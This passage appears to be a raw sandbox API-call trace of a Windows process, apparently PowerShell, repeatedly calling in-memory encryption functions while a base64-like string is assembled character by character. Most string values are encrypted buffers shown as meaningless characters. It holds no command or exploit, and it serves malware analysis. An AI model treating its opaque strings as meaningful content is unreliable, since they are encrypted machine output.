Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.584] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMqJ4BGHlqXNO2") returned 0x28 [0248.584] SystemFunction040 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.584] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞삆靱㘏ꕵ尜≪) returned 0x28 [0248.584] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞삆靱㘏ꕵ尜≪) returned 0x28 [0248.584] SystemFunction041 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.584] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMqJ4BGHlqXNO2c") returned 0x28 [0248.584] SystemFunction040 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.585] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞㸥ﲅ┉舢黮⪈寤⋤) returned 0x28 [0248.585] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞㸥ﲅ┉舢黮⪈寤⋤) returned 0x28 [0248.585] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞㸥ﲅ┉舢黮⪈寤⋤) returned 0x28 [0248.586] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞㸥ﲅ┉舢黮⪈寤⋤) returned 0x30 [0248.586] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0248.586] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMqJ4BGHlqXNO2cNㅩ啌⥌攚㻡静⥠") returned 0x30 [0248.586] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0248.586] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞㸥ﲅ┉舢黮⪈寤嗤粚臣뮁妻ಷ䝇\柙") returned 0x30 [0248.586] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞㸥ﲅ┉舢黮⪈寤嗤粚臣뮁妻ಷ䝇\柙") returned 0x30 [0248.586] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0248.586] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMqJ4BGHlqXNO2cN3啌⥌攚㻡静⥠") returned 0x30 [0248.586] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0248.586] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞㸥ﲅ┉舢黮⪈寤令ꄯڞꬄ\䫙詺ၬ⅍") returned 0x30 [0248.586] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞㸥ﲅ┉舢黮⪈寤令ꄯڞꬄ\䫙詺ၬ⅍") returned 0x30 [0248.586] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0248.587] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMqJ4BGHlqXNO2cN3A⥌攚㻡静⥠") returned 0x30 [0248.587] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0248.587] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞㸥ﲅ┉舢黮⪈寤﷤氱쬢ⴶ꒙銉᧙⋙) returned 0x30 [0248.587] SysStringLen (param_1="㉵ﳒႛ࠾ꞗ䁂秱诐ꝩ㛷俗鞸猦Ꝁ\ꛚ慤暖⫕ै鷭쿟鿑꩞迷抴쪑坛찎셞㸥ﲅ┉舢黮⪈寤﷤氱쬢ⴶ꒙銉᧙⋙) returned 0x30 [0248.587] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0248.587] SysStringLen (param_1="DwTz1qebzo6IddTMx8HtjsXFzwMqJ4BGHlqXNO2cN3A=攚㻡静⥠") returned 0x30 [0248.587] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0248.587] EtwEventActivityIdControl () returned 0x0 [0248.587] EtwEventActivityIdControl () returned 0x0 [0248.587] EtwEventActivityIdControl () returned 0x0 [0248.588] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.588] EtwEventActivityIdControl () returned 0x0 [0248.588] EtwEventActivityIdControl () returned 0x0 [0248.588] EtwEventActivityIdControl () returned 0x0 [0248.589] SysStringLen (param_1="") returned 0x8 [0248.589] SysStringLen (param_1="N") returned 0x8 [0248.589] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.589] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0248.589] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0248.589] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.590] SysStringLen (param_1="ND") returned 0x8 [0248.590] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.590] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0248.590] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0248.590] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.590] SysStringLen (param_1="NDZ") returned 0x8 [0248.590] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.590] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0248.590] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0248.590] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.590] SysStringLen (param_1="NDZl") returned 0x8 [0248.590] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.590] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0248.591] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0248.591] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.591] SysStringLen (param_1="NDZlO") returned 0x8 [0248.591] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.591] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0248.706] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0248.706] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.706] SysStringLen (param_1="NDZlOD") returned 0x8 [0248.706] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.706] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0248.706] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0248.706] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.706] SysStringLen (param_1="NDZlODR") returned 0x8 [0248.706] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.706] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0248.706] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0248.706] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.707] SysStringLen (param_1="NDZlODRm") returned 0x8 [0248.707] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.707] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0248.707] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0248.707] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0248.707] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0248.707] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.708] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0248.708] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.708] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0248.708] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0248.708] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.708] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0248.708] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.708] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0248.708] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0248.708] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.708] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0248.708] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0248.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0248.709] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.709] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0248.709] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0248.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0248.709] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.709] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0248.709] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0248.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0248.709] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.710] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0248.710] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.710] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0248.710] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0248.710] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.710] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0248.710] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.710] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0248.710] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0248.710] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.710] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0248.710] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.711] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0248.711] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0248.711] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0248.711] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0248.711] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.711] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0248.711] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.712] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0248.712] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0248.712] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.712] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0248.712] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.712] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0248.712] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0248.712] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.712] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0248.712] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.712] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0248.712] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0248.712] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.713] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0248.713] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.713] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0248.713] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0248.713] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.713] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0248.713] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.713] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0248.713] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0248.713] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.713] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0248.713] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.714] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0248.714] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0248.714] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.714] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0248.714] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.714] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0248.714] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0248.714] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.714] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0248.714] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.714] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0248.715] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0248.715] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0248.715] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0248.715] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.715] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0248.715] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.715] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0248.715] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0248.715] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.716] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0248.716] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.718] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0248.718] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0248.718] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.718] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0248.719] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0248.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0248.719] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.719] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0248.719] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0248.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0248.719] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.719] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0248.719] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0248.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0248.719] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.720] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0248.720] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.720] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0248.720] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0248.720] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.720] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0248.720] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.720] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0248.720] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0248.720] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.720] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0248.720] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.721] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0248.721] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0248.721] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0248.721] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0248.721] SystemFunction041 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.721] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0248.722] SystemFunction040 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.722] SysStringLen 